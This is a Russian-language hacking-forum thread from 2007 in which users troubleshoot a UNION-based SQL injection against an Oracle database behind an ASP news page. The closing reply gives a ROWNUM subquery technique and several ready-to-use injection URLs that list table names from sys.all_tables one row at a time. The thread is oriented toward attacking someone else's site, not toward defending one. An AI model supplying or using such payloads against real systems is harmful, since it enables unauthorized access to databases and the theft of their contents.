ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

rownum в Oracle
  #1  
Старый 29.08.2007, 18:45
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию rownum в Oracle

Есть SQL-инъекция в Oracle, подобрано количество полей (9), а также те из них, которые могут выводить инфу. При попытке получить названия таблиц из sys.all_tables выводится только первое значение. Я знаю, что в Oracle нет аналога LIMIT'а, но есть rownum. Но когда я пробую запрос типа
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+null,to_char(TABLE_NAME),NULL,NULL, NULL,NULL,NULL,NULL,NULL+FROM+sys.all_tables+where +rownum+<=+10--
получаю ошибку
Цитата:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC driver for Oracle][Oracle]ORA-00936: missing expression

/news.asp, line 31
В чем может быть проблема?
 
Ответить с цитированием

  #2  
Старый 29.08.2007, 18:58
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

в том что это Ole Db.
 
Ответить с цитированием

  #3  
Старый 30.08.2007, 17:28
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

Цитата:
в том что это Ole Db.
Поподробней пожалуйста)
 
Ответить с цитированием

  #4  
Старый 30.08.2007, 18:15
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

подробности в сапорте у майкрофсофта. не сталкивался раньше но предположу что данные храняться в файлах как а джет дб, из-за этого другой синтаксис запросов.
 
Ответить с цитированием

  #5  
Старый 31.08.2007, 10:42
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

[ cash ], я так и знал что ты это скажешь. Какой нахрен в файлах? Ты описание ошибки видел? ORA-00936... Это именно от оракла пришла ошибка... Прежде чем что-то говорить про OLE DB посмотри что говорит Knowledge Xpert for PL/SQL Development:

Цитата:
ORA-00936 missing expression

Cause: A required part of a clause or expression has been omitted. For example, a SELECT statement may have been entered without a list of columns or expressions or with an incomplete expression. This message is also issued in cases where a reserved word is misused, as in SELECT TABLE.

Action: Check the statement syntax and specify the missing component
Переведу:

Цитата:
ORA-00936 отсутствует выражение

Причина: Обязательная часть условия или выражения была пропущена. Например, оператор SELECT мог быть введён без списка колонок и выражений, или же с незаконченным списком. Это сообщение так же может быть вызвано в случае неверного использования зарезервированного слова, как например в выражении SELECT TABLE.

Исправление: проверьте синтаксис выражения и добавьте недостающие конструкции.
А проблема скорее всего связана со спецификой запроса... Он формируется динамически, то есть в зависимости от условия к нему что-то приписывается... И очередная приписка приводит к некорректному синтаксису запроса.

И насчёт подбора столбцов... Факов до фига по Oracle, везде используют ROWNUM, но никто не описал такую простую конструкцию:

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN X AND X
Задавая X - можно спокойно перемещаться по списку записей, пускай это несколько усложнит запрос, зато будет однозначность - возвращаться всегда будет одна запись. То есть:

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 1 AND 1
Вернёт первую запись

Цитата:
SELECT T.TN
FROM (SELECT TABLE_NAME TN, ROWNUM R FROM SYS.ALL_TABLES) T
WHERE R BETWEEN 2 AND 2
Вернёт вторую запись и т.д.

[Raz0r], то есть, в твоём случае надо попробовать что-то типа такого:

Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+1+AND+ 1
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+2+AND+ 2
Цитата:
http://site.com/news.asp?id=-1+UNION+SELECT+NULL,TO_CHAR(T.TN),NULL,NULL,NULL,N ULL,NULL,NULL,NULL+FROM+(SELECT+TABLE_NAME+TN,ROWN UM+R+FROM+SYS.ALL_TABLES)+T+WHERE+R+BETWEEN+3+AND+ 3
и т.д.
 
Ответить с цитированием

  #6  
Старый 01.09.2007, 20:41
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме:
3244717

Репутация: 1980
Отправить сообщение для [Raz0r] с помощью ICQ
По умолчанию

groundhog, честно говоря не ожидал, что кто-то сумеет мне помочь, но ты мне реально помог, большое спасибо!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проведение SQL инъекций в Oracle. [53x]Shadow Авторские статьи 35 18.10.2009 09:13
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ